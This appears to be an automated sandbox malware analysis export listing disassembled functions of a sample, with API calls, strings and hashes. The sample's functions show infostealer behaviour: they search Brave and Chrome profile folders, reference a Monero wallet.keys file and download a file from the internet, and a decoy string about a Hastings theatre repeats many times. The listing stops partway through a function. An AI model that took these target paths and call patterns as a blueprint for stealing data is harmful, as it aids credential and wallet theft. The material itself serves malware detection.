The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002845F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028462D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002846D8
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 0028473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002846CD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00284765
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 002846AC

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: e239cb594a7362a4dd731da1b2cc7e31ca56a8d32c58a553e67c4e00a2ecd6cf
Instruction ID: dd3fc9ec1e105717c7d99b1dc0d7d69efb6e84f52c59471fd6e34cf9cd5d9f5e
Opcode Fuzzy Hash: e239cb594a7362a4dd731da1b2cc7e31ca56a8d32c58a553e67c4e00a2ecd6cf
Instruction Fuzzy Hash: 374137287E2614FFE627BBA48842EDF7756FFC7B0CF405040B94A52280CFB0652945BA

Function 0028BE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

Part of subcall function 0029A8A0: lstrcpy.KERNEL32(?,002A0E17), ref: 0029A905

FindFirstFileA.KERNEL32(00000000,?,002A0B32,002A0B2B,00000000,?,?,?,002A13F4,002A0B2A), ref: 0028BEF5
StrCmpCA.SHLWAPI(?,002A13F8), ref: 0028BF4D
StrCmpCA.SHLWAPI(?,002A13FC), ref: 0028BF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 0028C7BF
FindClose.KERNEL32(000000FF), ref: 0028C7D1

Strings

Preferences, xrefs: 0028C11E
Brave, xrefs: 0028C102
Google Chrome, xrefs: 0028C634
\Brave\Preferences, xrefs: 0028C1DB

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: c1d72c5ccf93ea71ab0dd448e633e71f68bf59289dd28406c2a10c0c5221c133
Instruction ID: b02d73f91604da6f97cd65be51a2b3220e9cea4675b33275b21bd51d4b18ba9c
Opcode Fuzzy Hash: c1d72c5ccf93ea71ab0dd448e633e71f68bf59289dd28406c2a10c0c5221c133
Instruction Fuzzy Hash: 714231729202089BDF14FBB0DD96EED737DAB54300F404568B90A96191EF349B69CFE2

Function 6C6535A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6DF688,00001000), ref: 6C6535D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6535E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6535FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C65363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C65369F
__aulldiv.LIBCMT ref: 6C6536E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C653773
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C65377E
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C6537BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6537C4
EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C6537CB
LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C653801
__aulldiv.LIBCMT ref: 6C653883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C653902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C653918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C65394C

Strings

GTC, xrefs: 6C653912
QPC, xrefs: 6C6538FC
AuthcAMDenti, xrefs: 6C653946
GenuntelineI, xrefs: 6C653639
MOZ_TIMESTAMP_MODE, xrefs: 6C6535DB

Memory Dump Source

Source File: 00000000.00000002.2351465272.000000006C651000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2351363317.000000006C650000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351656066.000000006C6CD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351696126.000000006C6DE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2351744513.000000006C6E2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction ID: 14d1dd1505aced9cd8b45279eaef959e336740e5ad629c5ecbd62bb5e6e0c917
Opcode Fuzzy Hash: 3f96159be758dedfed38ec7b8d465651a4db19bfd3eb02ba300bdcb48bdc3dd7
Instruction Fuzzy Hash: B0B1B4B1B083509FDB08DF2AC89461AB7F5EB8A700F15893DF499D3790D770A9018B8E

Function 00294910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 0029492C
FindFirstFileA.KERNEL32(?,?), ref: 00294943
StrCmpCA.SHLWAPI(?,002A0FDC), ref: 00294971
StrCmpCA.SHLWAPI(?,002A0FE0), ref: 00294987
FindNextFileA.KERNEL32(000000FF,?), ref: 00294B7D
FindClose.KERNEL32(000000FF), ref: 00294B92

Strings

%s\%s, xrefs: 002949FB
%s\*, xrefs: 00294920
%s\%s, xrefs: 002949A4

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 5a90d3ed1db3de3a39bd4fb2d4213e17bd399d6fe26b0dad1d2deea2c90d02b3
Instruction ID: 3c8c8f0a2d5d9c5153ee653f3f230c88a4dec0730915fb1653d9c9aec663927b
Opcode Fuzzy Hash: 5a90d3ed1db3de3a39bd4fb2d4213e17bd399d6fe26b0dad1d2deea2c90d02b3
Instruction Fuzzy Hash: F86175B1910218ABCB60FFA0DC89FEA737CBB49304F044598B54996040EF75DBA5CFA5

Function 00293EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00293EC3
FindFirstFileA.KERNEL32(?,?), ref: 00293EDA
StrCmpCA.SHLWAPI(?,002A0FAC), ref: 00293F08
StrCmpCA.SHLWAPI(?,002A0FB0), ref: 00293F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 0029406C
FindClose.KERNEL32(000000FF), ref: 00294081

Strings

%s\%s, xrefs: 00293EB7

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: b6df33919c636ddd7ec0a6ba4ee72139b582b33d0dcc300f18888b5a65c13c31
Instruction ID: 086f825a428fa6742001e159e22c58ecc3106d32bd962d4c388ca46f5231322c
Opcode Fuzzy Hash: b6df33919c636ddd7ec0a6ba4ee72139b582b33d0dcc300f18888b5a65c13c31
Instruction Fuzzy Hash: 055184B6910218ABCF24FBB0DC85EEA737CBB44304F444598B659D2080EB75DBA5CFA5

Function 002860A0 Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 133networkfileCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0029A7E6

Part of subcall function 002847B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00284839
Part of subcall function 002847B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00284849

InternetOpenA.WININET(002A0DF7,00000001,00000000,00000000,00000000), ref: 0028610F
StrCmpCA.SHLWAPI(?,00E4E550), ref: 00286147
InternetOpenUrlA.WININET(00000000,00000000,00000000,00000000,00000100,00000000), ref: 0028618F
CreateFileA.KERNEL32(00000000,40000000,00000003,00000000,00000002,00000080,00000000), ref: 002861B3
InternetReadFile.WININET(?,?,00000400,?), ref: 002861DC
WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 0028620A
CloseHandle.KERNEL32(?,?,00000400), ref: 00286249
InternetCloseHandle.WININET(?), ref: 00286253
InternetCloseHandle.WININET(00000000), ref: 00286260

Strings

P, xrefs: 00286139

Memory Dump Source

Source File: 00000000.00000002.2322117761.0000000000281000.00000040.00000001.01000000.00000003.sdmp, Offset: 00280000, based on PE: true

Associated: 00000000.00000002.2322098305.0000000000280000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000002DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000305000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000308000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000030F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000312000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000331000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000033D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000362000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000036F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000038F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000039E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000425000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.0000000000445000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322117761.00000000004CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.00000000004DE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000664000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000748000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.0000000000770000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322496124.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322723738.000000000077F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322857587.000000000091C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2322871245.000000000091D000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_280000_file.jbxd

Yara matches

Similarity

API ID: Internet$CloseFileHandle$Open$CrackCreateReadWritelstrcpylstrlen
String ID: P
API String ID: 2507841554-1343716551
Opcode ID: ee9bfe5aa654b02258640d1839167bc2bd07ea72934f30164ba0026b24394524
Instruction ID: 49cfe548200fc78613c05e7377a5982183d9a70d325b99f3c4aa91d862e26b8f
Opcode Fuzzy Hash: ee9bfe5aa654b02258640d1839167bc2bd07ea72934f30164ba0026b24394524
Instruction Fuzzy Hash: EC5192B5921218ABDF20EF50DC49FEE77B8FB04305F1081A8B605A72C1DB74AA95CF95

Function 0028F6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0029A740: lstrcpy.KERNEL32(002A0E17,00000000), ref: 0029A788

Part of subcall function 0029A920: lstrcpy.KERNEL32(00000000,?), ref: 0029A972
Part of subcall function 0029A920: lstrcat.KERNEL32(00000000), ref: 0029A982

Part of subcall function 0029A9B0: lstrlen.KERNEL32(?,00E48990,?,\Monero\wallet.keys,002A0E17), ref: 0029A9C5
Part of subcall function 0029A9B0: lstrcpy.KERNEL32(00000000), ref: 0029AA04
Part of subcall function 0029A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0029AA12

